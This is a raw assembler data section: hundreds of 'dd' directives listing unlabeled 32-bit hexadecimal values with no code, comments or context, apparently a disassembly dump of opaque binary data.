dd 114EB09Ch, 0CCC0F709h, 0A91FA834h, 78750FAh, 84D0D6BCh
dd 896365h, 738F5D8Ah, 485BFE18h, 0F40B6B00h, 0C11A72DAh
dd 17990145h, 9EDE3D90h, 5548209Ch, 4740A894h, 0FA45D72h
dd 15FDC5F3h, 3B746100h
dd 0BB8F2C8h, 0A94E6806h, 76040DAh, 0E2939279h, 132910CFh
dd 0EA17D006h, 940041A9h, 126B37D8h, 75D70E7Fh, 19E9177h
dd 5EC3EBDh, 6311C008h, 0E83C807Fh, 8DDE80FBh, 0D823DDD6h
dd 0A25B3991h, 87DB111Ch, 82D1A678h, 0F4494B98h, 3D7A20ADh
dd 0D5B9720Ah, 0C100A034h, 3AFAD9D4h, 0B2670038h, 8049B151h
dd 61394B75h, 4D6083AFh, 0C3029436h, 39D1F8E9h, 0B0779FBh
dd 0B3CBD553h, 0C0AA9887h, 0E345FDE0h, 0F4325Dh, 6F6C741Bh
dd 5CF6EBh, 8C93B023h, 3C4590C7h, 0AFAA8500h, 3BD2FE10h
dd 8AD40075h, 0E948DFB0h, 1B000741h, 62575EDEh, 143CCE5Fh
dd 9C9F802Dh, 0A6E6438Eh, 54A1F423h, 0A7C828ABh, 34DF0DF0h
dd 6711C0C2h, 776F4C6Ah, 0A3D96209h, 0F358214Fh, 0B7F146BDh
dd 0A0067C64h, 3DA94h, 1FAB338Eh, 8DDF757Ch, 5E93BF06h
dd 0C87BE9h, 6B9BAF49h, 2097EC1Ah, 2EEE400h, 6A39F0DAh
dd 0BFB21E2Ah, 0B6FAC04Ch, 0FC4BE3EDh, 0D731A800h, 71D99452h
dd 0E6441CBFh, 63EC00Bh, 8A9B01AEh, 4A639C07h, 0FED03275h
dd 74876CFFh, 20CE00EFh, 289B27B4h, 0BA003A76h, 0E8E21C05h
dd 0A06DBC26h, 0ED5681h, 0B56A0902h, 39677641h, 19BE9400h
dd 0F5D68762h, 0F28F1724h, 3BEC0007h, 4FCEA9Ah, 925A2800h
dd 34F15246h, 70B600CAh, 0E43D47C9h, 2A601138h, 13EF4D70h
dd 8124916Ah, 0CF1B04D9h, 5960F4D5h, 760330F4h, 0C93937A2h
dd 0AA4AB858h, 0E1100033h, 3CBC9AD1h, 0C31DC50Bh, 0FD80A0A1h
dd 1CB2766Dh, 7737061h, 9C529378h, 0F27E3037h, 0F40068A7h
dd 80CA5675h, 0E11BB4h, 2C1EFBCCh, 47701A9Fh, 3EC0F607h
dd 0C7301927h, 1F5F8B0h, 0C3145B4Dh, 0C4E4601Fh, 84000436h
dd 4046E76Bh, 0AE5577h, 6AD3E5C0h, 3F71AF0Fh, 0E1AB3E03h
dd 83F6C10Dh, 482FB0EBh, 2849A4Fh, 960C852Dh, 0C440502Eh
dd 8912F0F3h, 0B48A2980h, 95FF8FF0h, 75007894h, 0E4C58E37h
dd 0A510C85Ah, 216CC10Ch, 0E5F095h, 83367E18h, 2F3A23B9h
dd 590B5Ch, 102B6DF8h, 0DC6893h, 3081E8DBh, 41054597h
dd 5F0075ECh, 0EB0E1C48h, 0A5EDEAh, 0A77836B3h, 81574947h
dd 0EE25E37Ch, 10B0482Ah, 0E8DC788Eh, 0B8926Eh, 0F012D9C6h
dd 924A46F2h, 6A876CBCh, 80DBAFF1h, 0BB1052DCh, 6D0712D4h
dd 0E700C82Ah, 0F4014E81h, 0F2BAD01Eh, 2AA7F814h, 18007130h
dd 377D6F2Bh, 0DA4482h, 3D571E3Ah, 0C8C3DE79h, 7D60C894h
dd 3C8774h, 272F4073h, 60F1354Dh, 0EBFF8200h, 0CA92449h
dd 33B3015Ah, 94AC8E51h, 2250F025h, 0A43A753Fh, 1800A991h
dd 8630A1A6h, 5D16002Ch, 396A49CBh, 1B03898Ah, 0D193612Ah
dd 59DBA082h, 0F0FC0077h, 0B50A27E5h, 31005A9Bh, 0D4305004h
dd 681479h, 8EC58797h, 9C35AFBBh, 442B4301h, 61460932h
dd 77482F0h, 367F3476h, 1D0881B4h, 7844D843h, 0FC0E84A8h
dd 0F39D3200h, 9E9729A6h, 2D401292h, 6EA8B030h, 2372388h
dd 82AA077Ch, 0ECE8E50Fh, 0D40E4349h, 1301564h, 19EAB414h
dd 2081D371h, 80C52CA7h, 0E594F076h, 23B03Eh, 2E6C4427h
dd 7CD8596h, 47A819F4h, 0F205B020h, 2FF009F3h, 6C8780Bh
dd 0F73300DEh, 3BA2586Dh, 4E93F43Eh, 4504A4B4h, 9BA17460h
dd 660539h, 88D1B719h, 18B006AAh, 0FADB9D00h, 2AE4E96Dh
dd 1757716Bh, 0EB24B1h, 0DE688D7Bh, 19747135h, 514A257Fh
dd 664EB0D0h, 6E61580Bh, 0EA7E13h, 843197E6h, 62030216h
dd 88AA199h, 8F8EF86Dh, 78275F6h, 2BA27547h, 0E2998090h
dd 0F301FC80h, 8D13D279h, 0A9E07F78h, 0BD435C54h, 0F8A45503h
dd 8764D0Ah, 5CCC21C0h, 0FAF942h, 9074A15h, 3E6F8205h
dd 0EC89EB07h, 0B993CF8Fh, 0FC85B9ABh, 92383FEBh, 0F768480Ch
dd 65985C11h, 0CD70D803h, 3079842Dh, 3C21E409h, 3100CCD9h
dd 126019A0h, 1B6879h, 0EBDFDB6Bh, 0BA89070Bh, 99F3E503h
dd 0E1FBE98Ah, 71808371h, 584C1E9Fh, 0AD388808h, 838338Dh
dd 0C5210395h, 516C4C25h, 0BE8E72A1h, 637E03D8h, 0D0186D40h
dd 1B7941AEh, 0C8B6C115h, 145C023h, 70D9CCE2h, 39000ED5h
dd 85C4CCDAh, 2C60011Ah, 0B1157740h, 6F50C0BAh, 3C746549h
dd 0E8F03E00h, 0BB3DF229h, 0F3A20092h, 321C9A70h, 41093536h
dd 8029D37Ah, 91F13E5Dh, 0B44A003Ch, 16B37F73h, 4800CF70h
dd 4FC471DAh, 3D2E8980h, 0F607750Ah, 0A104BFE8h, 0A84BD18Bh
dd 0EC006D62h, 0DF29FF59h, 98DB18h, 0E7D5149Ah, 79CCA3CAh
dd 958A7D00h, 51A4EA69h, 6C47001Ah, 0DE3139B8h, 0D9F4FD0Eh
dd 7D19DC5Ch, 0AD3ABF7Bh, 0B487002Eh, 9EC6E10Dh, 634B06A3h
dd 8FBACB9h, 6B213B60h, 29C6EAh, 357E66A0h, 0B777BD74h
dd 9434A400h, 60B93DCCh, 0AF44304Eh, 703BEA18h, 38FD840h
dd 1DBF2C9Dh, 86D37AB4h, 67C02DA3h, 0E170ED94h, 0BB094006h
dd 30087808h, 4220B573h, 8406ED9Ch, 9E4C4580h, 0E4241071h
dd 39C20465h, 2D0D9CECh, 889730A9h, 8A206D60h, 3170CE8h
dd 0C1D8B778h, 0AF80FDF4h, 2D0C2A81h, 39B29FEFh, 7B7500D4h
dd 1B694A2Fh, 9CC3184h, 77421DFh, 86A47B7Dh, 207070A2h
dd 49E0E95Dh, 77B38415h, 488A06A8h, 700FE4h, 0A79E7FA6h
dd 0F957F5BEh, 0F78B6800h, 0A25399E2h, 2388002Dh, 5DB903C4h
dd 31046F0Fh, 6A7C9C90h, 491DF5ACh, 4FF40063h, 0D0288CA7h
dd 9CCE2F1Eh, 6752EE40h, 58E3A4h, 0EF695FF6h, 0BC176C97h
dd 74D4F800h, 0C763DA71h, 6BE8005Eh, 1CE45C89h, 3079D6Ah
dd 0EFB0D112h, 0B5991620h, 68EB0049h, 747AC6D8h, 0CC2E70ACh
dd 8C00ADBCh, 8905E7EDh, 0F41B6F1h, 1DE241h, 1FB0FD99h
dd 9E004BF9h, 707E9306h, 0C2FF3685h, 807FE118h, 2DE9B600h
dd 33BF0EDFh, 79A14B65h, 80FCB056h, 51926D81h, 0C06195E2h
dd 5E88350h, 60F1393h, 98D15AEh, 60CF8F59h, 7F5EB581h
dd 85160014h, 11AF9144h, 0B21D952Fh, 0CF000B4Eh, 335C49F3h
dd 94D80090h, 0BA233DAAh, 0B00F648Eh, 7817011Dh, 1D72A8B1h
dd 983529C5h, 6016D092h, 0E911ED00h, 98EB442Fh, 0F883E7C1h
dd 7370743Fh, 0A1B3114h, 17680060h, 8EEE88C1h, 0FFAD0397h
dd 0FE7C9181h, 0CB0E2000h, 0FC8915A7h, 98BA30ABh, 34705C68h
dd 0E05ACC03h, 80AC0D5Eh, 2450D093h, 0C12135h, 7D586632h
dd 0B107751Eh, 3E2B4E6Bh, 63C1D760h, 90F30E83h, 9580281Dh
dd 9C77ACDAh, 8F6A0200h, 1054F731h, 0FCC1035Bh, 0FA7832A6h
dd 191DE0C7h, 0AD03590Bh, 0C2478F66h, 0B3C0E5ECh, 6036AE96h
dd 0EE5230D8h, 7D0345A3h, 0B30A4147h, 0E6083397h, 0A3A8F821h
dd 0CF007CE9h, 35EB90A7h, 419210EDh, 4650BBECh, 41A4047Dh
dd 3240E77Dh, 0EAF420E9h, 4B06B2A3h, 0E4AC0BA0h, 0B9840019h
dd 7A9B7CBBh, 0BE58F8DAh, 7D4C3B6Eh, 7E6FCC0Fh, 0E91F8042h
dd 1D48E728h, 0CCBE563Bh, 0D8F9D6E2h, 36B57C00h, 3D0B1C9h
dd 5DE71E29h, 5BD106EFh, 34061021h, 0B04E538h, 6FC0130h
dd 8B9C15ADh, 23E1F8AEh, 0FF08F766h, 0E7495021h, 461C3B38h
dd 0C8400073h, 7F653D2Ch, 186EDAAEh, 7977E180h, 0B050ED29h
dd 603C80FFh, 1B7D108Ah, 4C00980Ch, 63BD82B8h, 1D1A21h
dd 0ABAE03AAh, 483681A7h, 0B3019203h, 0D376B243h, 870B8041h
dd 6610012h, 0AAADEE65h, 810018BFh, 8D3E39D3h, 3D24759Bh
dd 0A787C8ABh, 70E44219h, 1C0A01F5h, 272EEB07h, 8A21C982h
dd 61D8623Ch, 0A5FCEBE9h
dd 0AA6E0028h, 8910905h, 71021FA8h, 8EFF1BACh, 7280609Fh
dd 0DD3395Ch, 6CAA580h, 0D5A2BC35h, 5D03947Ch, 0E58B34F5h
dd 0D0EBA34Fh, 0FA6E069h, 0C2FBA211h, 0A3AD1F20h, 0AF005807h
dd 1838E734h, 4F0896h, 0C9217DDBh, 0C0DFAEEEh, 3B0B5900h
dd 575035D4h, 0EE20FDC8h, 0F20E0001h, 0B72AA0F8h, 0FF7F4FA3h
dd 67006CF4h, 2303F4B9h, 101899h, 0ECD5079Ch, 0AFD1D40h
dd 0D23D4E0Eh, 2D88A0BCh, 2522F67h, 79600575h, 8EC8ED33h
dd 0B2769CACh, 2DD6CF00h, 0F1D5BBAEh, 208F07A7h, 701A333Eh
dd 68E9BD8Ch, 0EA01C803h, 90779927h, 7B919826h, 0ACB4003Fh
dd 0AB97CCD5h, 0BA004734h, 165E5AE0h, 9B3D01h, 2F7DD6EFh
dd 77B42728h, 97381D00h, 93F5D0E7h, 11801E1h, 0CB10D5FDh
dd 3C90F48Ch, 0D7363Ch, 22E8C11Bh, 0A555BEFh, 81070F46h
dd 964200E0h, 593B7653h, 0DF972600h, 9DE34B90h, 2675F294h
dd 2046A1CCh, 8BDD0184h, 5845D0C4h, 10C4405Ah, 1E0064EFh
dd 7D753820h, 1DC157Eh, 0B4CA9408h, 0E8BA9F49h, 0EB01BD39h
dd 36716F75h, 3C7054AFh, 0E33E0004h, 0D17A0C44h, 0EB00D80Bh
dd 0C56B2BB4h, 5864781Bh, 4F3E0532h, 3907E184h, 55109020h
dd 0E00042C8h, 565D3D2Eh, 0F50201h, 0BAD4A366h, 40D7C9F1h
dd 0BE5D600h, 2284BF5Ch, 7E5D16FDh, 0E386000Eh, 20E0CD81h
dd 8FEFEC00h, 4BC8B767h, 7CE23966h, 0FCD50076h, 0F1B1A57Eh
dd 430092F4h, 4DEDA934h, 6AF7B8h, 0E2A70172h, 792CBB54h
dd 6B8A0C50h, 27EC7F12h, 0A2A12440h, 0EC3E0BB6h, 0D6C74C2Dh
dd 34A5AE07h, 0E2D1A002h, 8900642Ah, 6F99EBADh, 18352DFAh
dd 4C0B0185h, 0CB0067EEh, 23026244h, 0C6FC74h, 0D5A0209Ch
dd 66EAF9Dh, 0AC120C00h, 70D482ECh, 0CE910089h, 0B7DA972Eh
dd 9A031F3Bh, 0A6D9E647h, 6A0AB0ECh, 0EE90071h, 153DE585h
dd 8400E4B8h, 8979666Dh, 7BB28CBh, 0DFF0FD5Dh, 70487018h
dd 9D0082E5h, 1E6797B6h, 3C5FA246h, 690041C9h, 2390ED6Eh
dd 0EA0029AAh, 32A944AFh, 95ABD67h, 0CE5D8740h, 7A941480h
dd 0AC00E1B3h, 7CE47680h, 2A1575h, 7F36A94Fh, 2FB1127Bh
dd 2D17F106h, 386272h, 2360B743h, 67D21F2Eh, 44FCC724h
dd 0DF54902h, 0B6E040FDh, 9BE22Ch, 9D133CCBh, 0D3765F51h
dd 72005092h, 9C0573FCh, 0C6A5E4h, 4732B557h, 4CD348C1h
dd 8F8EFE02h, 0D71A7974h, 0BC09FE58h, 80817A42h, 0C3CCDD55h
dd 0C053013Dh, 0EFC8103Bh, 4EB420ABh, 0D30A3900h, 331CB441h
dd 3881011Eh, 8BE0C4F8h, 59D1E4EAh, 8F53A63Dh, 0C0636EDFh
dd 4DAF2F1h, 106F6778h, 84CEA158h, 8B60A040h, 10D9C500h
dd 0D6B4887Ah, 4BD500FEh, 3EF3772Eh, 0C906A76Dh, 0E707AB02h
dd 0D0C10040h, 0EFEA119Bh, 8E03547Dh, 97E6B9ECh, 0A5C8D8BAh
dd 0C07351h, 0B0F3A8CCh, 0C27F5DAh, 0A604700h, 99EF878Ch
dd 0CA50001Fh, 4030E9D4h, 9100924Eh, 9FDEA4DBh, 4F1963Bh
dd 0E7B8FEB6h, 6338C7ECh, 0E8D3DD3Fh, 4294D9E8h, 0A4094375h
dd 0DE96D1h, 0CCD73DECh, 0B8F300D2h, 76799DAh, 47000F6Bh
dd 7F8F2786h, 149AE8Ah, 300C14C2h, 8F2D25FEh, 72C0F98h
dd 8CF10EF3h, 0B18F8A21h, 0DEC0410Dh, 0DF080BF1h, 433DD973h
dd 0A5F080FEh, 7A6E2961h, 6707005Fh, 0A5BE88Bh, 5E0F97DBh
dd 20354A72h, 0EED5AF4h, 1BFEFA50h, 700BF54Bh, 89C7801Dh
dd 0AA110D8h, 0A64000F1h, 0D6A4DD50h, 8D00E699h, 0EA1328D2h
dd 0A02491D9h, 0AFB894Ch, 6C06EE2Fh, 40751E70h, 9B2A4FFEh
dd 957E461Fh, 1EC04D07h, 0B5204496h, 0ECDD4090h, 688C00ACh
dd 304F672Ah, 2F00BFAEh, 0D3B8219Bh, 53BE4Dh, 0F65B5292h
dd 5457AA35h, 0CF01E903h, 0D897704Bh, 37BA8BDh, 192C0E79h
dd 49D8558Fh, 2E00EF9Dh, 7748F232h, 74A13BE8h, 0AAEE2F8Eh
dd 0FD1E2178h, 803B0643h, 84351103h, 0FC10A6CEh, 69BB0985h
dd 0B680DAC1h, 52296009h, 0DBB8B600h, 26CE61BFh, 637523h
dd 7A544191h, 93E57FC5h, 377DB603h, 80BED9D5h, 700D66FEh
dd 68A200B2h, 5054064Dh, 6E0A14F2h, 0A0FD7F43h, 2CF1880h
dd 0E59BE9Fh, 973DEA56h, 4D93ACC0h, 0BA010168h, 0B1D91ED2h
dd 0B0507C5Ch, 1096B12h, 55DD8EF7h, 0F0D9EEDCh, 0C958881Ah
dd 80BB0CCEh, 2661F6h, 2811A343h, 0B07F68B6h, 0ED2DF507h
dd 79903BDAh, 5B76F9h, 1D4506EAh, 1B0DB58Ah, 4193DE31h
dd 88028AFh, 51316C86h, 0A10CFB02h, 1923AEFFh, 0C8330016h
dd 0C76A8D48h, 943E7FECh, 0E15C3E93h, 688F70B1h, 0F003E4h
dd 853BC4BEh, 2267CF1Fh, 0ED1EC7F8h, 920326E6h, 0C0287F16h
dd 1596155h, 185E4CECh, 80F7801Ah, 0D044A291h, 77EE4D1h
dd 0C3FAC911h, 825DD0ADh, 8B18EA2Eh, 4C79145Fh, 0F86C0098h
dd 68503CC2h, 15305504h, 92D1B929h, 7C1A077Ah, 6E46C70Ah
dd 8C8F9CE0h, 313F8309h, 4864B0BCh, 1421290Ch, 9859C5A7h
dd 51DA5403h, 690E1B5Ch, 0A02A7D3Fh, 7ED8AE50h, 451A3D4Dh
dd 149F69Ch, 0A4D9F273h, 0A88EEC4Ch, 186B2600h, 0B1743414h
dd 0D460C085h, 9EEECBB4h, 0DED56A00h, 0DFDC58AFh, 6E3C0132h
dd 46182696h, 2171807Eh, 0EE6858C2h, 11A48A1h, 42DB8800h
dd 0C486133Dh, 0B0F84028h, 0A46A920Eh, 21556F15h, 0A561995h
dd 5828058h, 0E41AFEFCh, 0F9B0408Ch, 0A3DA527Eh, 326AD700h
dd 0E6A5C138h, 0F530C29Eh, 0CC832F86h, 7EA16715h, 0F2891090h
dd 0CEE3036Dh, 0F8EA76D2h, 61562598h, 1B8C3A00h, 4F10EC4Bh
dd 0FAE9005Fh, 93DDF417h, 46522966h, 8B0200D8h, 2BF1FCFDh
dd 0CEA30CB5h, 0C161957Fh, 82634E1Ch, 0AA41C29Dh, 8AB5319Ch
dd 603252F0h, 0B862B85Eh, 783AA513h, 0CD3581F8h, 0B165074Ch
dd 0F3CC60CDh, 48E16785h, 4225C556h, 5B734C84h, 0A9F8F4A0h
dd 8A070B30h, 0E9B33F6Bh, 7FF21EB0h, 1289C08Eh, 37DF7429h
dd 0AB68410Bh, 0F032003Eh, 0C413A7F8h, 80678DC9h, 0F95523CBh
dd 8069A56Fh, 819C8E1Bh, 0B5B198Dh, 325C1926h, 36C900BCh
dd 0CB243E3Dh, 0B2733F2Fh, 0B7816481h, 2027C55Fh, 1460AE1Ch
dd 0B5979339h, 890D015Dh, 60D4FAD8h, 447DF86Ah, 0EB1D1A16h
dd 0D64D4F00h, 722A2h, 468B5068h, 0A96B927Fh, 107AAF06h
dd 15117AEh, 0B8744D5Eh, 0DC41D67Eh, 4F44FBCh, 0BC10100h
dd 0CB7D797Fh, 0A0217A91h, 3999FDACh, 57002FAEh, 0BFADC46Fh
dd 454A0859h, 370AA5ACh, 83AC5874h, 67AA0F60h, 89353087h
dd 0D701640Dh, 0A8ECB6BDh, 0FF302D63h, 561426C3h, 5F4E6274h
dd 0C50ABDC0h, 35502E00h, 0F9DAE055h, 62211ECAh, 70111FE7h
dd 7D4CA2C1h, 0BD49254h, 984F5E01h, 639D3D70h, 4D171E8h
dd 4AAEF8DDh, 0B2740446h, 0BC08C090h, 6963003Fh, 6FC29810h
dd 0DAFEF00Fh, 50DBF30Eh, 72EE182h, 1C231255h, 0A0808C04h
dd 0F84380CBh, 2CA135A4h, 0C5E410B1h, 0C06A1FB5h, 59D7C08Bh
dd 693AF4B4h, 5C904904h, 94CC8ED2h, 0A0830023h, 5D312597h
dd 2609384Eh, 1074D6E1h, 1D4D5150h, 40F5FE82h, 0EEF2D10Fh
dd 0E701E331h, 506BCE25h, 0C1D7AE1Fh, 73E1283Dh, 0EC3C70h
dd 8C210D52h, 61A77867h, 0BCAEEB1Eh, 200678B0h, 52BB4CDDh
dd 44EDF600h, 0C76924ABh, 11079200h, 2747C0AAh, 0A9126046h
dd 0BBF97094h, 4E8F8B07h, 0FF764D1h, 206290C2h, 60A2ADD9h
dd 0D086B490h, 1D08874Ch, 97EE1A6Ah, 0BB769202h, 0C08C4031h
dd 0B832E726h, 0DD8F4D3Ah
dd 0C520CD52h, 5D2431C9h, 9AE80084h, 45B0E16Ah, 0B5011920h
dd 9226A3B3h, 50703AB7h, 22FD3A65h, 3F9C02A4h, 13642000h
dd 0A58B9E46h, 6E4988C0h, 9B6C7F1h, 0FC8073F7h, 1631C20h
dd 3F73991Ch, 4419B71Eh, 959406C0h, 81BBB36h, 0B17515ECh
dd 0E7FDAC87h, 0CDDC7920h, 33BE0F42h, 0A4A0CACEh, 0FB884371h
dd 5A528F01h, 0C81AF621h, 0F9132432h, 8C0C20ADh, 7203947Eh
dd 0DA6E1DB9h, 18A79224h, 8E048761h, 12568BB8h, 166BE0D8h
dd 183E1B69h, 0EAC459BAh, 0EB2B63Eh, 0A0B581A0h, 0F8D30932h
dd 0E8BD057Eh, 80037B36h, 150B60F8h, 0F2C34B05h, 4C87ACD8h
dd 655E0710h, 1CB5F8FCh, 40A26997h, 75A78A50h, 2F008816h
dd 0C68DC2A4h, 21229DEh, 547B6207h, 0A880E73Fh, 5BA92345h
dd 0A9C924FAh, 441C115Ch, 96D05831h, 0A2D50F09h, 5C26DA72h
dd 0CF022111h, 77C14181h, 989C6C5Bh, 0A75405A0h, 20AE7F89h
dd 0F3B4C080h, 0FF00BDF4h, 1D940BD3h, 32DAB37h, 3B13960Ah
dd 0B03AEE05h, 5D3D0C2Bh, 142A5118h, 0A9B728F7h, 6360378h
dd 0DFFDC6F4h, 906A6097h, 0DE1327AAh, 2821E017h, 9824BFAFh
dd 385200FCh, 30B076B3h, 0A24CD33Ah, 48D00D8h, 9E615CDCh
dd 8790B9D7h, 71193091h, 0F34B3133h, 823583F0h, 5E74DD10h
dd 450F0C01h, 0E066F3F1h, 0E916240Dh, 2403C4C3h, 155D2Ah
dd 0A736F8B9h, 0B516FDCFh, 2770514h, 300D2294h, 85F0E704h
dd 88E843DAh, 0FC76CB1Eh, 9944C840h, 0A7DB4F3h, 85DC1B14h
dd 0A9E33B6Ch, 78D0BBDFh, 3F00C783h, 0E82B0E95h, 3357DF9h
dd 9646A502h, 0BFA81C6Ch, 74002FB6h, 0C53BD4CCh, 1074D2Ah
dd 27599743h, 741F93D7h, 0A4727BE8h, 0E95A7430h, 3E1AFDBDh
dd 0BB802A71h, 0D214DF39h, 60009164h, 26E92F9Ah, 0B09528E0h
dd 1C53002Ch, 0E56BD1EBh, 6716CED9h, 1033BE56h, 3364D87Ah
dd 0ED7B0041h, 0E4ABA49Dh, 4CFA8DEAh, 9C495C12h, 56659403h
dd 6F63F883h, 20691CFCh, 29D944B4h, 47DCC298h, 0E810B311h
dd 0F61E7759h, 0A580CAAFh, 9B426701h, 65BE009Ch, 7C19F0CEh
dd 74B8E9CFh, 7DA272Ch, 0E5061D00h, 13C7F204h, 81A34Bh
dd 0E6DDAF64h, 80623FF8h, 0AE5775B9h, 0FAFDA088h, 2E5B6Dh
dd 3F2C7EBFh, 341B95C8h, 0FE68970Eh, 0A2EC0B14h, 0C20FF064h
dd 3D007F94h, 0BEC72AA5h, 0C51AE31Ch, 90D40A25h, 46ACAA60h
dd 0AF230095h, 49082CD5h, 0CB2ED270h, 5802E0E5h, 44ADCF0Ah
dd 3AE13A00h, 95549Fh, 0A9B770A4h, 0F4008E1Ah, 1378EDA8h
dd 26CE0108h, 40F49327h, 67D69EDAh, 87F8B90Fh, 0A2540326h
dd 72A8E088h, 0ED62062Bh, 31E31AEAh, 0C79E4700h, 0FFFC1268h
dd 26D30648h, 21459728h, 477A4A0h, 4EAC9350h, 444E804Bh
dd 0D8C82765h, 0E2848AF1h, 0B0F08CCh, 97264BB5h, 0D69C3C18h
dd 87EC7958h, 0A4973D84h, 0E4313F1h, 68C5C3C9h, 7F2D830h
dd 5592141h, 49413C74h, 0E260A000h, 0D7C42EAEh, 0C7871325h
dd 2CF8207Ah, 0E60070EFh, 884722EDh, 1D12826Bh, 0C0EBB608h
dd 4CBA56F9h, 6090EFECh, 0BE468400h, 2331F175h, 861B0302h
dd 0B4962654h, 0F9805118h, 0D6E4E1h, 0D88EE8BCh, 0CF7FEE2Eh
dd 0B238E306h, 4AD84B73h, 930405Ch, 0ACBB4C0Dh, 892C17E8h
dd 3E0FAC76h, 0D749603Ch, 4EF8F00Eh, 96C843A3h, 1AFBF97Ch
dd 0C03C1148h, 33200982h, 411E02FBh, 5D28EFDBh, 3700B044h
dd 0B4B2F85Ch, 0ED81F1h, 0C713E8D8h, 2A16551Ch, 0B3C4E300h
dd 0C970B9BCh, 4244CECh, 4E7B7209h, 80755400h, 3CA0461Eh
dd 0C900C3C5h, 1B9276D1h, 52F65E0h, 63150458h, 0A424C162h
dd 0C485FC0Dh, 0A4DB2124h, 1058A501h, 283025D4h, 5912141Dh
dd 0C40588F1h, 0C8AE1B97h, 60039C8h, 0A6853575h, 4EB34931h
dd 0B5B42045h, 7105D5EEh, 0EF43120Bh, 1025C500h, 0FAF423E4h
dd 18C00B5Ah, 5890ADE6h, 1300679Eh, 406173CFh, 0A025A431h
dd 880DA9ACh, 0ACB0E83Eh, 5DFE5201h, 785BBFE6h, 8F009839h
dd 4AFD3D5h, 5F060596h, 307ACBFEh, 1EF398C8h, 66A955Bh
dd 48CDBCA4h, 5EE5603h, 0A1943A51h, 50703F6Dh, 4C4A078Bh
dd 0A091E18Eh, 4E7C1BD7h, 24144DFCh, 58AE97h, 364530A5h
dd 5112EF1Dh, 0AC48FCC4h, 7B4802D0h, 5D404AB6h, 0DD072444h
dd 0C9625BD5h, 661267D0h, 6ED004DBh, 0E09AEA15h, 0EC05B890h
dd 5FA26B9Fh, 223FE420h, 0EFD900DDh, 6470DF97h, 7703EE63h
dd 0A3C660EAh, 4082EC8Bh, 75257Ch, 4FFE0444h, 0D10E8C55h
dd 2E253011h, 8BD6E543h, 0C62240C2h, 71B70048h, 0AD6F4AA1h
dd 0C41E831Ch, 8E00CF57h, 9396AA02h, 9C000DAh, 5C6792C8h
dd 952953EDh, 0DF01C0AEh, 2461B196h, 12578EF4h, 0C8998FFCh
dd 83002CA0h, 0B37D28B9h, 8C64Ah, 8146FA94h, 0CA4C3BDCh
dd 84748D0Eh, 2BF781C7h, 9C229428h, 34135614h, 0B52AC400h
dd 5248725Fh, 74361513h, 124F020h, 547700F2h, 0E534BC2Dh
dd 8C009DCCh, 0F799408Fh, 964623B6h, 0AA218000h, 8228ACEBh
dd 1BFADC00h, 57A29B5Dh, 0AE4D07C5h, 84FCE759h, 0C710E05Ch
dd 0B4F97729h, 806964A4h, 0AF3CA74h, 7D240F7Fh, 6B8FD1BEh
dd 94CF3E82h, 5DAE3C40h, 408FD524h, 0F5C6F000h, 0F28FCE3h
dd 0FB89874h, 0ADD3ED62h, 0D0C1072h, 14AF915Ah, 0A3CA00FDh
dd 481F255Fh, 473862C4h, 0D558CECh, 605C312Dh, 42D7997Fh
dd 25E6F3EBh, 6D715A14h, 0ED3800A6h, 6F3FB865h, 9E8904A9h
dd 814F8618h, 0C231203Ch, 30B59861h, 0D9C056C0h, 411DED2Eh
dd 0D8FB074Bh, 7D4BD32h, 8FC5A082h, 2D3DE064h, 25E705D3h
dd 0C889928h, 5C96278Eh, 1B0734A0h, 0BF03C94h, 0E9F2D405h
dd 8C0040E7h, 17DF3F66h, 0D54B008Eh, 0A291738Ch, 0B816D985h
dd 0AC8860A5h, 0B529007Ah, 57DBFCEDh, 0B1001CDEh, 0A3583B28h
dd 43860h, 69337A48h, 0B7C63D0Eh, 0C7079C00h, 724F209Bh
dd 40454ADAh, 82B5EF7Ch, 105D75Dh, 2294D19Fh, 1600BCA2h
dd 0A1B41442h, 64B55EDh, 0AF720030h, 0DA1B2D1Dh, 0FFE0D814h
dd 0A0CEC501h, 0D7B7D8F2h, 0CBFD9D0h, 917EEBECh, 32010731h
dd 51CDB9CBh, 0C86094EDh, 0DA624498h, 7C919D79h, 0AA50C880h
dd 2390A80h, 0F96A6B28h, 0A0E845A4h, 0C377EDECh, 10001499h
dd 0CFB57ECEh, 69360059h, 18791F89h, 5E00C53Bh, 0BA158DC4h
dd 27A175A4h, 8C7C05B6h, 15017021h, 0F124286Fh, 185B0870h
dd 211AAEF0h, 0CD000A98h, 0F27A5C39h, 0F6AA94h, 0FD28F157h
dd 0A018DCF8h, 0DC20414Ah, 1AA9ECFh, 0D8C7DA4Ch, 6072A4F5h
dd 7E04612Ch, 733F14F0h, 6F3488h, 0E41263C7h, 0E8B099ABh
dd 5DBA0F00h, 18B6D266h, 94189CE0h, 8E0058AFh, 3CBA2136h
dd 0FB1D746Eh, 4B00D6B0h, 0F8EE4123h, 88814CA6h, 0B6003490h
dd 658C2403h, 5A00B0E7h, 0D220C672h, 30818A69h, 0DB295F7Ah
dd 5A002C1Ah, 308CF7C4h, 9ED344C6h, 4ABD4034h, 0F300B9DBh
dd 0BA0ABFABh, 50D221h, 8AA1C819h, 91264AA8h, 0E906099h
dd 8C24D585h, 83074A94h, 912DE295h, 0A8CF4D50h, 3C42003Bh
dd 241E18E5h, 38B87CC5h, 0C6046D00h, 0B4F1ECBAh, 0CCE958A6h
dd 24095427h, 0E7246C82h, 9F5084E0h, 0EC41CA00h, 9826A3D9h
dd 0A889D448h, 738124C0h, 2B00D584h, 5AD95007h, 244C2E1h
dd 0F9720BFEh, 0D4522FA0h, 0E100A084h, 15CC22BBh, 0A958DCh
dd 0DECD9D0Eh, 7368F071h, 9FBB78A3h, 4F52FE0h, 0E91308EAh
dd 821A8F8h, 687DE11Bh
dd 62008C48h, 0F2DDC67Dh, 2613FF8Fh, 0DC907E05h, 5EDACD5h
dd 97758C87h, 5BF4D38Dh, 0AD79D28Fh, 0EBE0C8AFh, 13083E37h
dd 0CCBDA500h, 8E107D7Bh, 0D090A1B1h, 0C0773884h, 3B90E2FFh
dd 45D98006h, 0A59D9BF3h, 5E4D0376h, 0FA7F3A93h, 6D368100h
dd 771357D2h, 0A6A4008Bh, 0EEA92083h, 8019ABAh, 0B3CB74D9h
dd 983D463Ch, 9B588B00h, 7A163D6Eh, 0F665C000h, 4A67ED2Dh
dd 0B8D0E81h, 0CE1074Ch, 2420AEA1h, 400A90Ch, 3D2644A5h
dd 382B98A4h, 5289C856h, 8013D91Ah, 7E07DFF8h, 9C118F60h
dd 0DB5E14h, 0BC53F873h, 97ECEFA2h, 0A36D0600h, 0B20CF21h
dd 1E0E3255h, 0CC725C69h, 43893400h, 0E96141CEh, 0D977FAh
